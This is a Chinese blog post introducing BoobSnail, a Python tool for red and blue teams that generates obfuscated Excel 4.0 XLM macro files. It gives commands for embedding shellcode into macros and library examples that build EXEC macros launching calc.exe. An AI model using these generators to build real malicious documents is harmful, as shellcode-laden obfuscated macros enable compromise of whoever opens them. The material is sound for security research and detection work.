如何使用BoobSnail生成任意Excel 4.0 XLM宏文件

[[433420]]

关于BoobSnail

BoobSnail可以帮助广大研究人员生成XLM(Excel 4.0)宏文件,该工具可以在XLM宏生成任务中给红队和蓝队研究人员提供帮助。该工具支持的功能如下:

  • 各种感染技术;
  • 各种代码混淆技术;
  • 将公式翻译成英语以外的语言;
  • 可当作代码库使用,以便研究人员编写自己的生成器;

工具下载

广大研究人员可以使用下列命令将该项目源码克隆至本地:

  1. git clone https://github.com/STMCyber/boobsnail.git 

工具依赖

BoobSnail基于Python 3开发,因此我们需要在本地设备上安装并配置好Python

3.8.7rc1环境。接下来,运行下列命令安装该工具所需依赖组件:

  1. pip install -r requirements.txt 
  2.  
  3. python boobsnail.py 
  4.  
  5. ___.                ___.     _________             .__.__ 
  6.  
  7. \_ |__   ____   ____\_ |__  /   _____/ ____ _____  |__|  | 
  8.  
  9.  | __ \ /  _ \ /  _ \| __ \ \_____  \ /    \__  \ |  |  | 
  10.  
  11.  | \_\ (  <_> |  <_> ) \_\ \/        \   |  \/ __ \|  |  |__ 
  12.  
  13.  |___  /\____/ \____/|___  /_______  /___|  (____  /__|____/ 
  14.  
  15.      \/                  \/        \/     \/     \/ 
  16.  
  17.      Author: @_mzer0 @stm_cyber 
  18.  
  19.      (...) 

工具使用

  1. python boobsnail.py <generator> -h 

显示可用的生成器类型:

  1. python boobsnail.py 

工具使用样例

生成注入了x64或x86 Shellcode的经过代码混淆处理的宏:

  1. python boobsnail.py Excel4NtDonutGenerator --inputx86 <PATH_TO_SHELLCODE> --inputx64 <PATH_TO_SHELLCODE> --out boobsnail.csv 

生成能够运行calc.exe的经过代码混淆处理的宏:

  1. python boobsnail.py Excel4ExecGenerator --cmd "powershell.exe -c calc.exe" --out boobsnail.csv 

代码库使用

BoobSnail使用了excel4lib库来支持创建我们自己的Excel4宏生成器。excel4lib库包含了几个类,可以在创建生成器的过程中使用:

  • macro.Excel4Macro:允许定义Excel4公式和变量值;
  • macro.obfuscator.Excel4Obfuscator:允许对Excel4宏中的指令代码进行混淆处理;
  • lang.Excel4Translator:允许将公式转译为其他语言;

下面给出的例子中将创建一个能够运行calc.exe的简单宏:

  1. from excel4lib.macro import * 
  2.  
  3. # Create macro object 
  4.  
  5. macro = Excel4Macro("test.csv") 
  6.  
  7. # Add variable called cmd with value "calc.exe" to the worksheet 
  8.  
  9. cmd = macro.variable("cmd", "calc.exe") 
  10.  
  11. # Add EXEC formula with argument cmd 
  12.  
  13. macro.formula("EXEC", cmd) 
  14.  
  15. # Dump to CSV 
  16.  
  17. print(macro.to_csv()) 

结果如下:

  1. cmd="calc.exe"
  2.  
  3. =EXEC(cmd); 

如果你想对宏进行混淆处理,则需要导入混淆工具并传递给Excel4Macro对象:

  1. from excel4lib.macro import * 
  2.  
  3. from excel4lib.macro.obfuscator import * 
  4.  
  5. # Create macro object 
  6.  
  7. macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator()) 
  8.  
  9. # Add variable called cmd with value "calc.exe" to the worksheet 
  10.  
  11. cmd = macro.variable("cmd", "calc.exe") 
  12.  
  13. # Add EXEC formula with argument cmd 
  14.  
  15. macro.formula("EXEC", cmd) 
  16.  
  17. # Dump to CSV 
  18.  
  19. print(macro.to_csv()) 

如需将你的宏转译为其他语言,假设为波兰语(当前该工具仅支持英语和波兰语),我们则需要导入Excel4Translator类,并调用set_language方法:

  1. from excel4lib.macro import * 
  2.  
  3. from excel4lib.lang.excel4_translator import * 
  4.  
  5. # Change language 
  6.  
  7. Excel4Translator.set_language("pl_PL") 
  8.  
  9. # Create macro object 
  10.  
  11. macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator()) 
  12.  
  13. # Add variable called cmd with value "calc.exe" to the worksheet 
  14.  
  15. cmd = macro.variable("cmd", "calc.exe") 
  16.  
  17. # Add EXEC formula with argument cmd 
  18.  
  19. macro.formula("EXEC", cmd) 
  20.  
  21. # Dump to CSV 
  22.  
  23. print(macro.to_csv()) 

结果如下:

  1. cmd="calc.exe"
  2.  
  3. =URUCHOM.PROGRAM(cmd); 

如果你需要创建一个能将其他公式作为接收参数的公式,则需要使用Excel4Macro.argument函数:

  1. from excel4lib.macro import * 
  2.  
  3. macro = Excel4Macro("test.csv") 
  4. # Add variable called cmd with value "calc" to the worksheet 
  5.  
  6. cmd_1 = macro.variable("cmd", "calc") 
  7.  
  8. # Add cell containing .exe as value 
  9.  
  10. cmd_2 = macro.value(".exe") 
  11.  
  12. # Create CONCATENATE formula that CONCATENATEs cmd_1 and cmd_2 
  13.  
  14. exec_arg = macro.argument("CONCATENATE", cmd_1, cmd_2) 
  15.  
  16. macro.formula("EXEC", exec_arg) 
  17.  
  18. # Dump to CSV 
  19.  
  20. print(macro.to_csv()) 

结果如下:

  1. cmd="calc"
  2.  
  3. .exe; 
  4.  
  5. =EXEC(CONCATENATE(cmd,R2C1)); 

项目地址

BoobSnail:【GitHub传送门

 

文章来源网络,作者:运维,如若转载,请注明出处:https://shuyeidc.com/wp/152861.html<

(0)
运维的头像运维
上一篇2025-03-14 05:02
下一篇 2025-02-09 05:52

相关推荐

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注